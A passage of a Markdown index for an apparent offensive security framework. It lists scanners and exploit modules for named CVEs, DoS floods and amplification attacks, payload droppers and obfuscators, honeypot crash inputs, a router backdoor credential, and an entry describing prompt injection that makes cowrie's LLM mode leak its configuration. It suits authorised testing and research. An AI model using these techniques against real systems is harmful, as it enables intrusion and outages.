| `scanners/snmp_scanner` | Tests SNMP v1/v2c community strings against target devices. Builds raw SNMP GET packets using BER/ASN.1 encoding to extract sysDescr, sysName, and sysLocation from responding devices. | Excellent | |
| `scanners/source_map_scanner` | Crawls the target HTML for <script src> URLs, then probes each .map companion to detect exposed JavaScript source-maps that leak original source code, internal API paths, and embedded secrets. | Excellent | |
| `scanners/source_port_scanner` | Firewall bypass scanner that discovers which source ports are allowed to connect to a target IP and destination port. Useful for identifying firewall rules that permit traffic from specific source ports (e.g., DNS/53, HTTP/80). Supports parallel scanning with configurable concurrency. | Excellent | |
| `scanners/ssdp_msearch` | Discovers UPnP devices on a network via SSDP M-SEARCH multicast and unicast probes. | Normal | |
| `scanners/ssh_scanner` | Scans networks for SSH services with banner grabbing, CIDR range support, and concurrent scanning. | Normal | |
| `scanners/ssl_scanner` | Analyzes SSL/TLS certificates and configuration. Detects expired certificates, self-signed certs, weak ciphers, and misconfigurations. | Excellent | |
| `scanners/stalkroute_full_traceroute` | Advanced traceroute with ICMP, TCP, and UDP probes, OS fingerprint spoofing, and decoy packet generation. | Normal | |
| `scanners/subdomain_scanner` | Brute-forces subdomains of a target domain using DNS resolution. Supports built-in wordlist or custom wordlist file. Uses concurrent asynchronous DNS lookups for fast enumeration. | Excellent | |
| `scanners/subdomain_takeover_scanner` | Resolves the CNAME chain for a host, identifies the cloud provider, and probes the live URL for the provider-specific 'unclaimed' fingerprint. Covers CloudFront, Heroku, GitHub Pages, Azure, Netlify, WPEngine, Surge, Pantheon, Fastly, Vercel, Shopify, Statuspage, Zendesk, and 18 more. | Excellent | |
| `scanners/vnc_scanner` | Scans VNC servers for protocol version and security type enumeration. Identifies servers with 'None' authentication (no password required) and reports all supported security mechanisms. | Excellent | |
| `scanners/vuln_checker` | Runs fingerprint probes against a target to identify vulnerable products/services. | Excellent | |
| `scanners/waf_detector` | Detects Web Application Firewalls and CDN providers by analyzing HTTP response headers, cookies, and body content. Sends benign and malicious payloads to trigger WAF signatures for higher-confidence detection. Identifies Cloudflare, AWS WAF, Akamai, Imperva, F5 BIG-IP, ModSecurity, Sucuri, Barracuda, Fortinet, and Citrix NetScaler. | Excellent | |
| `scanners/wellknown_scanner` | Probes ~50 common discovery endpoints (security.txt, OIDC config, autodiscover, swagger, .env, .git, actuator, healthz) and reports reachable resources with status, content-type, length, and snippet. | Excellent | |
| `scanners/wp_user_enum` | Three-vector WordPress user enumeration: /wp-json/wp/v2/users, ?author=N slug-leak via redirect, and /wp-json/oembed/1.0/embed author disclosure. | Excellent | |
| `scanners/wp_xmlrpc_scanner` | Detects /xmlrpc.php exposure on WordPress sites, enumerates allowed methods via system.listMethods, and flags system.multicall (password-spray amplifier) and pingback.ping (SSRF / DDoS primitive). | Excellent | |
## exploits (284)
- 284 modules, 137 with `check()`
| Module | Description | Rank | Check |
|---|---|---|---|
| `exploits/bluetooth/wpair` | Google Fast Pair pairing-mode-bypass exploitation (WhisperPair, CVE-2025-36911). Discovers Fast Pair accessories (service 0xfe2c), then performs the secp256r1 ECDH Key-Based Pairing handshake against the target's Anti-Spoofing key to force-pair out of pairing mode. Interactive sub-shell: scan/info/exploit/testall/exploitall/nonce/curve/pair/rename/switch/harvest, with nonce-replay (§4.3) and invalid-curve (§4.5) conformance tests. Requires `bluetooth` feature + a local BLE adapter. See the [Fast Pair / WhisperPair Guide](Fast-Pair-WhisperPair-Guide.md). | Excellent | |
| `exploits/cameras/abus/abussecurity_camera_cve202326609variant1` | Probes ABUS security cameras for the path-traversal vulnerability in /webparam.cgi that allows reading /etc/passwd and similar local files. | Excellent | |
| `exploits/cameras/acti/acm_5611_rce` | Probes ACTi ACM-5611 IP cameras for command injection in the iperf parameter on /cgi-bin/test. Sends a benign echo-marker payload. | Excellent | |
| `exploits/cameras/avtech/cve_2024_7029_avtech_camera` | Exploits CVE-2024-7029 in AVTECH IP cameras for remote code execution. | Excellent | |
| `exploits/cameras/galayou_g2_rtsp_bypass_cve_2025_9983` | Sends an unauthenticated RTSP DESCRIBE to the camera and detects | Great | ✓ |
| `exploits/cameras/hikvision/hikvision_rce_cve_2021_36260` | Sends a benign `echo $marker` payload to PUT /SDK/webLanguage with the XML command-injection vector from CVE-2021-36260. Vulnerable devices echo the marker. No destructive operations performed. | Excellent | |
| `exploits/cameras/reolink/reolink_rce_cve_2019_11001` | Exploits CVE-2019-11001 authenticated OS command injection in Reolink cameras via TestEmail functionality. | Excellent | |
| `exploits/cameras/uniview/uniview_nvr_pwd_disclosure` | Extracts and decodes user credentials from Uniview NVR devices via remote password disclosure vulnerability. | Good | |
| `exploits/cameras/xiongmai_xm530` | Probes the proprietary Xiongmai XM530 control protocol on TCP/34567 for | Normal | ✓ |
| `exploits/cowrie/ansi_log_injection` | Injects ANSI/OSC escape sequences into cowrie's session log via unsanitized crontab command arguments. When an operator views the replay log on a real terminal, embedded escapes execute: title bar hijack, bell spam, cursor repositioning. | Normal | |
| `exploits/cowrie/llm_prompt_injection` | Exploits cowrie's LLM mode where unsanitized attacker commands are concatenated into the same prompt context as the confidential system prompt containing real hostname and username. Injection can coerce the LLM to echo real configuration data. | Normal | |
| `exploits/cowrie/ssrf_ipv6` | Demonstrates that cowrie's SSRF blocklist omits fc00::/7, fe80::/10, and ::ffff:0:0/96, allowing IPv6 SSRF to internal addresses. Also demonstrates the DNS-rebinding TOCTOU where check→re-resolve allows SSRF bypass via fast-flux DNS. | Normal | |
| `exploits/crypto/geth_dos_cve_2026_22862` | Detects Go-Ethereum nodes vulnerable to CVE-2026-22862 by querying the JSON-RPC web3_clientVersion endpoint and parsing the version string. Does NOT send the destructive ECIES crash payload. | Normal | |
| `exploits/crypto/heartbleed` | Tests for and exploits the OpenSSL Heartbleed vulnerability (CVE-2014-0160) to leak server memory contents. | Good | |
| `exploits/dionaea/mqtt_underflow` | Sends a malformed MQTT PUBLISH packet to dionaea where TopicLength (255) exceeds MessageLength-2 (3), causing a negative length_from in scapy's MQTT_Publish parser. Triggers parser desync / UnicodeDecodeError exception. | Normal | |
| `exploits/dionaea/mssql_dos` | Sends a crafted TDS7 LOGIN7 packet to dionaea's MSSQL honeypot where ibPassword=85 and cchPassword=2, causing the password slice to be 1 byte. Decoding 1 byte as UTF-16 raises UnicodeDecodeError outside the try block → unhandled exception → connection handler crash. | Normal | |
| `exploits/dionaea/mysql_sqli` | Sends a MySQL COM_FIELD_LIST command to dionaea where the table name contains SQLite injection. Table 'sqlite_master)--' changes the PRAGMA query to return the honeypot's internal DB schema. Demonstrates the developer's comment 'I'm not afraid of SQLi here though.' | Normal | |
| `exploits/dionaea/tftp_crash` | Sends a malformed TFTP RRQ to dionaea where the option name 'blksize' lacks a trailing NUL byte. dionaea's options parser builds a malformed struct format string → struct.error or UnicodeDecodeError in tftp.py:178-216. | Normal | |
| `exploits/dos/apachebrpc_overflow_cve_2025_59789` | Detects Apache bRPC ports; deeply recursive JSON crashes the server. | Normal | ✓ |
| `exploits/dos/connection_exhaustion_flood` | Ultra-fast TCP connection flood that exhausts server connection tables and TIME_WAIT slots. | Normal | |
| `exploits/dos/dns_amplification` | Sends spoofed DNS ANY queries to open resolvers, causing amplified responses (~100x) directed at the victim via raw UDP with IP_HDRINCL. | Normal | |
| `exploits/dos/http2_rapidreset_cve_2023_44487` | Probes the target for HTTP/2 Rapid Reset DoS exposure by detecting | Normal | ✓ |
| `exploits/dos/http_flood` | High-speed HTTP GET/POST flood targeting web servers at the application layer with User-Agent rotation and cache-busting random parameters. | Normal | |
| `exploits/dos/icmp_flood` | Raw ICMP echo request flood with proper checksums. Supports optional source IP spoofing via IP_HDRINCL or non-spoofed ICMP raw sockets. | Normal | |
| `exploits/dos/memcached_amplification` | Sends spoofed memcached UDP stats requests to open servers, causing massively amplified responses (~51,000x) directed at the victim via raw UDP with IP_HDRINCL. | Normal | |
| `exploits/dos/ntp_amplification` | Sends spoofed NTP MON_GETLIST_1 requests to NTP servers, causing amplified responses (~556x) directed at the victim via raw UDP with IP_HDRINCL. | Normal | |
| `exploits/dos/null_syn_exhaustion` | High-performance SYN flood with null-byte payloads for resource exhaustion testing using native OS threads and sendmmsg batching. | Normal | |
| `exploits/dos/px4_uav_dos` | Sends a benign MAVLink heartbeat to UDP/14550 to fingerprint PX4 autopilot exposure. | Normal | ✓ |
| `exploits/dos/rudy` | Opens HTTP POST connections with large Content-Length then drips the body one byte at a time, exhausting server connection pools. Supports optional TLS. | Normal | |
| `exploits/dos/slowloris` | Keeps HTTP connections open by sending partial headers slowly, exhausting the server's connection pool. Supports optional TLS. | Normal | |
| `exploits/dos/ssdp_amplification` | Sends spoofed SSDP M-SEARCH requests to UPnP/SSDP targets, causing amplified responses (~30x) directed at the victim via raw UDP with IP_HDRINCL. | Normal | |
| `exploits/dos/syn_ack_flood` | Sends SYN packets to reflector servers with spoofed victim source IP, causing SYN-ACK responses directed at the victim for amplification. | Normal | |
| `exploits/dos/tcp_connection_flood` | TCP connection flood with optional RST close and HTTP payload delivery for denial of service testing. | Normal | |
| `exploits/dos/telnet_iac_flood` | Exploits unbounded IAC subnegotiation (SB without SE) and rapid WILL/DO option cycling to exhaust CPU and memory on telnet daemons, bruteforce tools, and honeypots. Four modes: WILL/DO storm, SB decompression bomb, NOP interleave, and combined. | Normal | |
| `exploits/dos/udp_flood` | High-speed UDP flood with optional source IP spoofing via raw sockets. Supports random, null, and pattern payload modes. | Normal | |
| `exploits/frameworks/apache_camel/cve_2025_27636_camel_header_injection` | Code injection via HTTP headers in Apache Camel routes that use the | Great | |
| `exploits/frameworks/apache_tomcat/catkiller_cve_2025_31650` | Exploits CVE-2025-31650 memory leak in Apache Tomcat 10.1.10-10.1.39 via invalid HTTP/2 priority headers. | Normal | |
| `exploits/frameworks/apache_tomcat/cve_2025_24813_apache_tomcat_rce` | Exploits CVE-2025-24813 deserialization vulnerability in Apache Tomcat for remote code execution. | Excellent | |
| `exploits/frameworks/apache_tomcat/cve_2025_24813_tomcat_put_rce` | Unauthenticated RCE via partial PUT upload and Java deserialization. | Excellent | ✓ |
| `exploits/frameworks/exim/exim_etrn_sqli_cve_2025_26794` | Exploits CVE-2025-26794 time-based SQL injection in Exim ETRN command when using SQLite backend. | Good | |
| `exploits/frameworks/h3c_bmc/h3c_websocket_dump` | H3C iBMC firmware accepts an unauthenticated WebSocket upgrade on TCP/8090 that immediately dumps a JSON chassis status block and proxies arbitrary Redfish GETs into the management plane — bypassing the auth gate on the :443 Redfish HTTPS API. Also supports a pipelined-frame race condition where a JSON command sent in the same TCP segment as the HTTP upgrade is processed before the WebSocket dispatcher attaches an auth context. | Excellent | ✓ |
| `exploits/frameworks/http2/cve_2023_44487_http2_rapid_reset` | Exploits CVE-2023-44487 HTTP/2 Rapid Reset vulnerability to cause denial of service via rapid stream creation and reset. | Normal | |
| `exploits/frameworks/jenkins/jenkins_2_441_lfi` | Exploits CVE-2024-23897 CLI argument injection in Jenkins 2.441 and earlier for arbitrary file read. | Good | |
| `exploits/frameworks/jenkins/jenkins_args4j_rce_cve_2024_24549` | Exploits the args4j parser via the connect-node CLI command with @-prefixed file paths to leak arbitrary file contents through error messages. | Great | |
| `exploits/frameworks/jenkins/jenkins_cli_rce_cve_2024_23897` | Exploits the args4j argument parser in Jenkins CLI to read arbitrary files from the server via @-expansion in command arguments. Sends POST to /cli?remoting=false. | Great | |
| `exploits/frameworks/mongo/mongobleed` | Exploits CVE-2025-14847 zlib decompression bug in MongoDB Server to leak uninitialized heap memory via BSON field names. | Good | |
| `exploits/frameworks/nginx/nginx_pwner` | Checks for common Nginx misconfigurations and vulnerabilities including alias traversal, CRLF injection, and more. | Good | |
| `exploits/frameworks/php/cve_2024_4577` | Exploits CVE-2024-4577 PHP CGI argument injection on Windows (XAMPP) for remote code execution. | Excellent | |
| `exploits/frameworks/php/cve_2025_51373_php_rce` | PHP CGI argument injection on Windows via soft hyphen (0xAD) code-page | Excellent | |
| `exploits/frameworks/wsus/cve_2025_59287_wsus_rce` | Unauthenticated RCE in Windows Server Update Services (WSUS). | Great | ✓ |
| `exploits/ftp/ftp_bounce_test` | Tests FTP servers for bounce attack vulnerability by attempting PORT commands to third-party hosts. | Good | |
| `exploits/ftp/ftp_default_creds` | Tries a built-in (or user-supplied) list of common user:password pairs against an FTP service. On success it issues PWD then disconnects — no directory listing, transfer or write is performed. Designed for credential-hygiene checks during sanctioned engagements. | Good | ✓ |
| `exploits/ftp/pachev_ftp_path_traversal_1_0` | Exploits directory traversal vulnerability in Pachev FTP Server 1.0 to read files outside the FTP root. | Good | |
| `exploits/honeytrap/docker_panic` | Sends POST /v1.40/images/create without a fromImage query parameter to honeytrap's Docker emulation. The handler indexes a nil map value → 'index out of range' panic. No recover() in the chain → daemon exit. | Good | |
| `exploits/honeytrap/ftp_panic` | Sends a malformed FTP PORT command (`PORT 1,2,3` — only 4 fields) to honeytrap's FTP honeypot. The handler calls nums[4] without a length check → slice out of range panic → no recover() → daemon exits. | Good | |
| `exploits/ipmi/ipmi_enum_exploit` | Comprehensive IPMI scanner with version detection, cipher 0 bypass, default credential brute force, and RAKP hash dumping. | Good | |
| `exploits/network_infra/apache_modssl_bypass_cve_2025_23048` | Detects Apache HTTPD with mod_ssl by Server header; client-cert auth | Good | ✓ |
| `exploits/network_infra/arista_ngfw_disclose` | Probes Arista NGFW for the unauthenticated internal RPC endpoint. | Good | ✓ |
| `exploits/network_infra/checkpoint_fileread_cve_2024_24919` | Probes Check Point Security Gateway portals for the unauthenticated | Great | ✓ |
| `exploits/network_infra/cisco/cisco_ise_api_inject_cve_2025_20281` | Detects Cisco ISE 3.1/3.2 ERS API and probes the unauthenticated | Great | ✓ |
| `exploits/network_infra/citrix/cve_2025_5777_citrixbleed2` | Out-of-bounds read in Citrix NetScaler ADC/Gateway authentication endpoint. | Good | ✓ |
| `exploits/network_infra/commvault/cve_2025_34028_commvault_rce` | Pre-authentication remote code execution in Commvault Command Center | Excellent | |
| `exploits/network_infra/f5/cve_2025_53521_f5_bigip_rce` | Unauthenticated remote code execution in F5 BIG-IP Access Policy Manager. | Great | ✓ |
| `exploits/network_infra/fortinet/forticloud_sso_auth_bypass_cve_2026_24858` | Authentication bypass via alternate path in Fortinet products with FortiCloud SSO enabled. Allows reusing SSO tokens to access other customers' appliances. | Normal | |
| `exploits/network_infra/fortinet/fortigate_rce_cve_2024_21762` | Critical out-of-bounds write vulnerability in FortiOS SSL VPN allowing unauthenticated remote code execution via crafted HTTP requests to /remote/hostcheck_validate. | Normal | |
| `exploits/network_infra/fortinet/fortimanager_rce_cve_2024_47575` | Critical missing authentication vulnerability in FortiManager fgfmd daemon allowing unauthenticated remote code execution via crafted FGFM registration requests on port 541. | Good | |
| `exploits/network_infra/fortinet/fortios_auth_bypass_cve_2022_40684` | Authentication bypass on FortiOS/FortiProxy/FortiSwitchManager administrative interface via crafted HTTP headers, allowing unauthenticated API access. | Great | |
| `exploits/network_infra/fortinet/fortios_heap_overflow_cve_2023_27997` | Pre-authentication heap-based buffer overflow in FortiOS SSL VPN allowing remote code execution via crafted requests to /remote/logincheck with oversized payload. | Normal | |
| `exploits/network_infra/fortinet/fortios_ssl_vpn_cve_2018_13379` | Path traversal in FortiOS SSL VPN web portal to leak session files containing cleartext credentials. | Great | |
| `exploits/network_infra/fortinet/fortisiem_rce_cve_2025_64155` | Unauthenticated remote code execution in FortiSIEM phMonitor service via argument injection in XML payload over SSL binary protocol. | Great | |
| `exploits/network_infra/fortinet/fortiweb_rce_cve_2021_22123` | Authenticated command injection in FortiWeb SAML Server configuration via server-name parameter. Requires valid credentials. | Normal | |
| `exploits/network_infra/fortinet/fortiweb_sqli_rce_cve_2025_25257` | Probes FortiWeb (≤ 7.0.10 / 7.2.10 / 7.4.7 / 7.6.3) for the unauthenticated SQLi that escalates to RCE via webshell deployment. Sends a benign UNION SELECT marker — no webshell write. | Great | |
| `exploits/network_infra/hpe/cve_2025_37164_hpe_oneview_rce` | Unauthenticated RCE via REST API command injection in HPE OneView. | Excellent | ✓ |
| `exploits/network_infra/hpprocurve_disclose` | Detects HP ProCurve 4.00 admin web; reads /config/credentials disclosure. | Normal | ✓ |
| `exploits/network_infra/hpprocurve_snac_inject` | Detects HP ProCurve SNAC controller endpoints; PHP injection via management form. | Normal | ✓ |
| `exploits/network_infra/ivanti/cve_2025_0282_ivanti_preauth_rce` | Detects Ivanti Connect Secure gateways running pre-22.7R2.5 firmware vulnerable to CVE-2025-0282. Probe only — no payload sent. | Great | ✓ |
| `exploits/network_infra/ivanti/cve_2025_22457_ivanti_ics_rce` | Probes for the X-Forwarded-For stack overflow in Ivanti Connect Secure / Policy Secure / ZTA Gateway pre-22.7R2.6. Sends an oversized header and inspects the response banner. Probe only — no shellcode. | Great | ✓ |
| `exploits/network_infra/ivanti/ivanti_connect_secure_stack_based_buffer_overflow` | Critical stack-based buffer overflow in Ivanti Connect Secure, Policy Secure, and ZTA Gateways via crafted X-Forwarded-For header. CVSS 9.0. | Normal | |
| `exploits/network_infra/ivanti/ivanti_epmm_cve_2023_35082` | Authentication bypass in Ivanti Endpoint Manager Mobile allowing unauthenticated access to user information via API endpoints. | Great | |
| `exploits/network_infra/ivanti/ivanti_ics_auth_bypass_cve_2024_46352` | Authentication bypass in Ivanti Connect Secure via path traversal in the /api/v1/totp/user-backup-code endpoint, allowing unauthenticated access to protected resources. | Great | |
| `exploits/network_infra/ivanti/ivanti_neurons_rce_cve_2025_22460` | Deserialization vulnerability in Ivanti Neurons for ITSM allowing unauthenticated remote code execution via crafted requests to the /api/now/ endpoint. | Normal | |
| `exploits/network_infra/juniper_screenos_scanner` | Probes Juniper ScreenOS for the historical hard-coded backdoor. | Normal | ✓ |
| `exploits/network_infra/kubernetes/cve_2025_1974_ingress_nginx_rce` | The ingress-nginx admission webhook does not validate NGINX | Excellent | |
| `exploits/network_infra/qnap/qnap_qts_rce_cve_2024_27130` | Stack buffer overflow in QNAP QTS No_Support_ACL function via share.cgi, allowing remote code execution. Affects QNAP QTS, QuTScloud, and QTS hero. | Normal | |
| `exploits/network_infra/sonicwall/cve_2025_40602_sonicwall_sma_rce` | Detects SonicWall SMA1000 series management/auth surfaces vulnerable to CVE-2025-40602. Probe only — banner / endpoint check, no payload. | Great | ✓ |
| `exploits/network_infra/trend_micro/cve_2025_5777` | Unauthenticated command injection in Trend Micro Apex Central via Login.aspx endpoint. | Great | |
| `exploits/network_infra/trend_micro/cve_2025_69258` | Unauthenticated DLL loading via Trend Micro MsgReceiver service on port 20001, allowing remote code execution. | Great | |
| `exploits/network_infra/trend_micro/cve_2025_69259` | Denial of service via unchecked NULL return value in Trend Micro MsgReceiver service, causing service crash. | Normal | |
| `exploits/network_infra/trend_micro/cve_2025_69260` | Denial of service via out-of-bounds read in Trend Micro MsgReceiver service, causing service crash. | Normal | |
| `exploits/network_infra/vmware/esxi_auth_bypass_cve_2024_37085` | VMware ESXi authentication bypass via Active Directory group manipulation. Attackers with AD access can create the 'ESX Admins' group to gain full admin access to ESXi hosts. | Normal | |
| `exploits/network_infra/vmware/esxi_vm_escape_check` | Checks ESXi hosts for vulnerability to VM escape chain (CVE-2025-22224, CVE-2025-22225, CVE-2025-22226) and detects indicators of compromise. | Good | |
| `exploits/network_infra/vmware/esxi_vsock_client` | VSOCK client for communicating with VSOCKpuppet backdoor on compromised ESXi hosts after successful VM escape exploitation. | Manual | ✓ |
| `exploits/network_infra/vmware/vcenter_backup_rce` | Authenticated remote code execution in VMware vCenter Server via flag injection in backup.validate API locationUser parameter. CVSS 7.2. | Great | |
| `exploits/network_infra/vmware/vcenter_file_read` | Authenticated partial arbitrary file read in VMware vCenter Server via RVC command. CVSS 4.9. | Good | |
| `exploits/network_infra/vmware/vcenter_rce_cve_2024_37079` | Critical heap-overflow vulnerability in VMware vCenter Server DCERPC protocol implementation allowing unauthenticated remote code execution via crafted packets to port 443. | Normal | |
| `exploits/payloadgens/obfuscator` | Multi-layer payload obfuscator. Twenty-four methods (XOR / RC4 / base16/32/32hex/64/64url/85/91 / ROT13 / ROT47 / reverse / gzip / URL / Caesar / bit-rotate / Vigenère / zero-width / hex-split / UTF-16LE / char-substitution / ANSI-escape / chunk-permute) and seven output formats (raw, recipe, Python / PowerShell / Bash / JavaScript self-decoder, C array). Three modes: chain (explicit order), random (auto N rounds), same (one method N times). Default 4 rounds, user-overridable up to 32. All randomness from OS RNG; chains are reproducible via the recipe. Engine lives in native::obfuscator_engine; this module is the prompt-driven UI. | Normal | ✓ |
| `exploits/payloadgens/payloadgen` | Unified payload generator. Modes: bat (BAT chain dropper), lnk (malicious LNK for NTLMv2-SSP hash disclosure CVE-2025-50154 / CVE-2025-59214), narutto (polymorphic 3-stage LOLBAS dropper), polymorph (3-stage Task-Scheduler dropper), encode (multi-stage payload encoder — base16/32/64/url/shell/html/zero-width), or menu for an interactive selector. Same prompt keys as the previous individual modules so existing automation migrates with `mode=<bat\|lnk\|narutto\|polymorph\|encode>`. | Normal | ✓ |
| `exploits/routers/dlink/dlink_dcs_930l_auth_bypass` | Authentication bypass via unauthenticated configuration disclosure on D-Link DCS-930L/932L cameras. Retrieves and deobfuscates credentials from /frame/GetConfig. | Great | |
| `exploits/routers/netgear/netgear_r6700v3_rce_cve_2022_27646` | Pre-authentication buffer overflow in Netgear R6700v3 circled daemon allowing remote code execution. Based on Pwn2Own Austin 2021 exploit. | Normal | |
| `exploits/routers/palo_alto/panos_authbypass_cve_2025_0108` | Authentication bypass in Palo Alto Networks PanOS via path traversal in the authentication mechanism, allowing unauthenticated access to administrative functions. | Great | |
| `exploits/routers/palo_alto/panos_expedition_rce_cve_2024_9463` | Unauthenticated OS command injection in Palo Alto Expedition | Excellent | |
| `exploits/routers/palo_alto/panos_globalprotect_rce_cve_2024_3400` | Unauthenticated OS command injection in PAN-OS GlobalProtect gateway. | Excellent | |
| `exploits/routers/ruijie/ruijie_auth_bypass_rce_cve_2023_34644` | Authentication bypass leading to remote code execution on Ruijie RG-EW routers, RG-NBS/RG-S1930 switches, RG-EG VPN routers, and EAP/RAP access points. CVSS 9.8. | Excellent | |
| `exploits/routers/ruijie/ruijie_reyee_ssrf_cve_2024_48874` | Server-Side Request Forgery in Ruijie Reyee cloud-connected devices. Part of the Open Sesame vulnerability chain discovered by Claroty Team82. CVSS 8.6. | Good | |
| `exploits/routers/ruijie/ruijie_rg_ew_login_bypass_cve_2023_4415` | Authentication bypass on Ruijie RG-EW1200G routers via crafted JSON login request to /api/sys/login. CVSS 9.8. | Great | |
| `exploits/routers/ruijie/ruijie_rg_ew_password_reset_cve_2023_4169` | Unauthenticated admin password reset on Ruijie RG-EW1200G routers via /api/sys/set_passwd endpoint. CVSS 9.8. | Great | |
| `exploits/routers/ruijie/ruijie_rg_ew_update_version_rce_cve_2021_43164` | Remote code execution via command injection in firmware update function on Ruijie RG-EW Series routers up to ReyeeOS 1.55.1915. CVSS 9.8. | Excellent | |
| `exploits/routers/ruijie/ruijie_rg_uac_ci_cve_2024_4508` | Critical unauthenticated command injection in Ruijie RG-UAC via static_route_edit_ipv6.php route parameters. CVSS 9.8. | Great | |
| `exploits/routers/ruijie/ruijie_rsr_router_ci_cve_2024_31616` | Authenticated command injection via backtick in Ruijie RSR10-01G-T-S router diagnostic endpoints. CVSS 8.8. | Great | |
| `exploits/routers/tenda/tenda_cp3_rce_cve_2023_30353` | Command injection in Tenda CP3 IP Camera via YGMP_CMD message on UDP port 5012, allowing unauthenticated remote code execution. | Excellent | |
| `exploits/routers/tplink/tapo_c200_vulns` | Multiple vulnerabilities in TP-Link Tapo C200 including pre-auth WiFi network scanning info leak (CVE-2025-14300), WiFi hijacking, ONVIF SOAP XML parser memory overflow (CVE-2025-8065), and HTTPS Content-Length integer overflow (CVE-2025-14299). | Good | |
| `exploits/routers/tplink/tp_link_vn020_dos` | Denial of service via malformed AddPortMapping SOAP request on TP-Link VN020 F3v(T) UPnP service. | Normal | |
| `exploits/routers/tplink/tplink_archer_c2_c20i_rce` | Authenticated command injection via host parameter in diagnostic POST request on TP-Link Archer C2 and C20i routers. | Great | |
| `exploits/routers/tplink/tplink_archer_c9_password_reset` | Exploits predictable PRNG for password reset code on TP-Link Archer C9/C60 routers, allowing unauthenticated admin password reset. | Great | |
| `exploits/routers/tplink/tplink_archer_rce_cve_2024_53375` | Authenticated command injection in TP-Link Archer, Deco, and Tapo series routers via OwnerId parameter in /admin/smart_network endpoint. | Great | |
| `exploits/routers/tplink/tplink_ax1800_rce_cve_2024_53375` | Authenticated command injection in TP-Link Archer AX1800 via the NTP server configuration field. The NTP server value is passed to os.execute() without sanitization. | Great | |
| `exploits/routers/tplink/tplink_deco_m4_rce` | Tests default admin:admin credentials on TP-Link Deco M4, then exploits the diagnostic ping field for command injection via /cgi-bin/luci/admin/network/diagnostics. | Great | |
| `exploits/routers/tplink/tplink_tapo_c200` | Probes TP-Link Tapo C200 IP cameras for command injection via the setLanguage JSON-RPC method on TCP/8800. Probe-only echo-marker. | Excellent | |
| `exploits/routers/tplink/tplink_vigi_c385_rce_cve_2026_1457` | Detects TP-Link VIGI C385 V1 web UI vulnerable to the authenticated set_resolution buffer overflow. Probe only — requires creds, sourced separately. | Great | |
| `exploits/routers/tplink/tplink_wdr740n_backdoor` | Exploits a debug page on TP-Link WDR740ND/WDR740N routers that allows command execution with hardcoded credentials (osteam/5up). | Great | |
| `exploits/routers/tplink/tplink_wdr740n_path_traversal` | Path traversal on TP-Link WDR740ND/WDR740N routers allowing arbitrary file read from the filesystem via /help/ endpoint. | Good | |
| `exploits/routers/tplink/tplink_wdr842n_configure_disclosure` | Downloads and decrypts configuration from TP-Link WDR842ND/WDR842N routers via /config.bin, extracting credentials using DES decryption. | Good | |
| `exploits/routers/tplink/tplink_wr740n_dos` | Buffer overflow denial of service in TP-Link TL-WR740N router web server, crashing the HTTP service and requiring physical reboot. | Normal | |
| `exploits/routers/ubiquiti/ubiquiti_edgerouter_ci_cve_2023_2376` | Command injection in Ubiquiti EdgeRouter X Web Management Interface affecting versions up to 2.0.9-hotfix.6. | Great | |
| `exploits/routers/zte/zte_zxv10_h201l_rce_authenticationbypass` | Authentication bypass and remote code execution on ZTE ZXV10 H201L routers via configuration leak, credential extraction, and DDNS command injection. | Great | |
| `exploits/routers/zyxel/zyxel_cpe_ci_cve_2024_40890` | Probes legacy Zyxel CPE devices for HTTP-based unauthenticated command injection. EOL hardware — no patches. Probe sends a benign echo-marker. | Great | |
| `exploits/safeline/cookie_attributes` | Sends one POST /api/Login with an invalid passcode to observe the Set-Cookie header. The session cookie lacks HttpOnly, Secure, and SameSite attributes — enabling XSS-based session theft, CSRF, and plaintext transmission when TLS is upstream-terminated. | Normal | |
| `exploits/safeline/nginx_injection` | Sends an authenticated POST /api/Website to SafeLine with a malicious Ports field. The tcontrollerd process inserts the value verbatim into an nginx config template via fmt.Sprintf → arbitrary directive injection. On nginx reload the injected config takes effect on the WAF host. | Great | |
| `exploits/safeline/no_auth_probe` | Sends unauthenticated GET requests to protected SafeLine endpoints. If the operator has set the NO_AUTH env var, main.go:162 uses `len(noAuth) >= 0` (always true), disabling the auth middleware. A 200 response with data confirms the bypass. | Good | |
| `exploits/safeline/pre_auth_tfa` | On fresh SafeLine installs (LastLoginTime == 0), GET /api/OTPUrl is unauthenticated and rotates the TFA secret, returning the new otpauth:// URL. This module fetches the secret, computes the current TOTP code, and logs in as super-user — account takeover without credentials. | Excellent | |
| `exploits/safeline/session_secret_entropy` | SafeLine generates its JWT/session signing secret with math/rand seeded by time.Now().UnixNano(). Effective entropy is log2(install_window_ns) — as low as 39 bits for a known 10-minute window. This module prints the entropy analysis and optionally probes the Set-Cookie header to confirm the signed cookie mechanism is in use. | Normal | |
| `exploits/safeline/unauth_writes` | POST /api/Behaviour and POST /api/FalsePositives are in SafeLine's publicRouters (no auth required). Any client can write arbitrary data to the behaviour analytics DB and trigger per-request outbound HTTPS calls via /api/FalsePositives — analytics pollution, storage DoS, and request amplification. | Good | |
| `exploits/sample_exploit` | A demonstration exploit that checks if a target endpoint is vulnerable. | Normal | ✓ |
| `exploits/snare/cookie_dos` | Sends an HTTP GET with a Cookie header that has no '=' separator to snare. The tanner_handler.py dict comprehension calls `cookie.split('=')[1]` unconditionally → IndexError → worker crash. | Normal | |
| `exploits/snare/tanner_version_mitm` | Binds a rogue HTTP server on port 8090 that returns a forged {"version": "X.Y.Z"} response to GET /version. When snare is launched with --tanner pointing to this host, it accepts the forged version and starts up — demonstrating that the version check has no cryptographic authenticity guarantee. | Normal | |
| `exploits/ssh/asyncssh_beginauthpass` | Exploits AsyncSSH servers whose SSHServer.begin_auth() returns False, causing USERAUTH_SUCCESS to be sent immediately. Opens a session after bypass and runs an arbitrary command. | Great | |
| `exploits/ssh/erlang_otp_ssh_rce_cve_2025_32433` | Unauthenticated RCE in Erlang/OTP SSH server. | Great | ✓ |
| `exploits/ssh/libssh2_rogue_server` | Starts a rogue SSH server that accepts ALL authentication attempts regardless of credentials. Exploits libssh2 clients that accept USERAUTH_SUCCESS without verifying KEX state (userauth.c:201,396,1714). Captures username, password, and public key fingerprints. | Excellent | |
| `exploits/ssh/libssh_auth_bypass_cve_2018_10933` | Authentication bypass in libSSH server. | Excellent | ✓ |
| `exploits/ssh/openssh_regresshion_cve_2024_6387` | Signal handler race condition in OpenSSH sshd allows unauthenticated | Normal | ✓ |
| `exploits/ssh/opensshserver_9_8p1race_condition` | Exploits a race condition in OpenSSH server 9.8p1 for remote code execution via heap-based glibc exploitation. | Normal | |
